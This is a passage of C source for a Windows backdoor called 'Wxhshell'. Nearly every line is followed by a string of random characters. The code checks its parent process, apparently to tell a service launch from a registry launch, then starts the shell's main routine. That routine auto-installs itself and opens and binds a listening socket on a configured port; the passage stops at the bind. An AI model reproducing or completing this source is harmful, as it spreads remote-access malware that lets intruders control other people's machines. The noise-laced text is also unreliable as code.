DWORD ExitStatus; 8#g}ev@|u
DWORD PebBaseAddress; t- TUP>_
DWORD AffinityMask; R)ZzRz|/
DWORD BasePriority; mj'N)6ga
ULONG UniqueProcessId; 0|J9Btbp
ULONG InheritedFromUniqueProcessId; {to(?`Y
} PROCESS_BASIC_INFORMATION; qA\&%n^j]
vH-|#x~
PROCNTQSIP NtQueryInformationProcess; *xmC`oP
Lq
;~6
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Nsq=1)
<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w=<E)
>2 #<tH0
HANDLE hProcess; Z,SV9
~M
PROCESS_BASIC_INFORMATION pbi; }st~$JsV1
\y%"tJ~N{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); he/rt#
if(NULL == hInst ) return 0; G[]%1
_QCO
r]&sXKDc
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @*~yVV!5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A,t g268
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J[r_ag
l)o!&]2
if (!NtQueryInformationProcess) return 0; _>]/. w2=
Z.!<YfA)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B~k{f}
if(!hProcess) return 0; '3U,UD5EG
_
Pzgn@D
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H! 5Ka#B
8+dsTX`|S
CloseHandle(hProcess); P^=B6>e
ky]^N)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,/GFD[SQ
if(hProcess==NULL) return 0; 5Za<]qxr
>yLDU_P)
HMODULE hMod; rir,|y,
char procName[255]; $xdo=4;|
unsigned long cbNeeded; pfIK9>i
xzOvc<u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A'7Y{oPHX
$H.U ~
CloseHandle(hProcess); {fDRVnI?
\p(0H6
if(strstr(procName,"services")) return 1; // 以服务启动 BeQ'\#q,
Ix,b -C~
return 0; // 注册表启动 $*$4DG1gaR
} "%+||IyW
4[gbRn'
// 主模块 ":
BZZ\!
int StartWxhshell(LPSTR lpCmdLine) f/Y7@y
{ "PElQBLP:
SOCKET wsl; 0sKoNzE
BOOL val=TRUE; [ ^\{>m7
int port=0; T+~&jC:{
struct sockaddr_in door; aM1WC 'c&)
Qj1%'wWG
if(wscfg.ws_autoins) Install(); Lg,ObVt!
0PFC%x
port=atoi(lpCmdLine); +PLJ
#K@!jh)y^
if(port<=0) port=wscfg.ws_port; LgX2KU"
8YE4ln
WSADATA data; YU0pWM
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^`dMjeF
*oIIcE4g7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W^Fkjqpv
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fV7
k {dR
door.sin_family = AF_INET; 2?Ryk`2i)
door.sin_addr.s_addr = inet_addr("127.0.0.1"); U?|A3;,xh
door.sin_port = htons(port); "k
;nbEV2Y<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e@vZg8Ie
closesocket(wsl); g#l!b%$
return 1; uEr.LCAS
} R\n@q_!`X
PBW_9&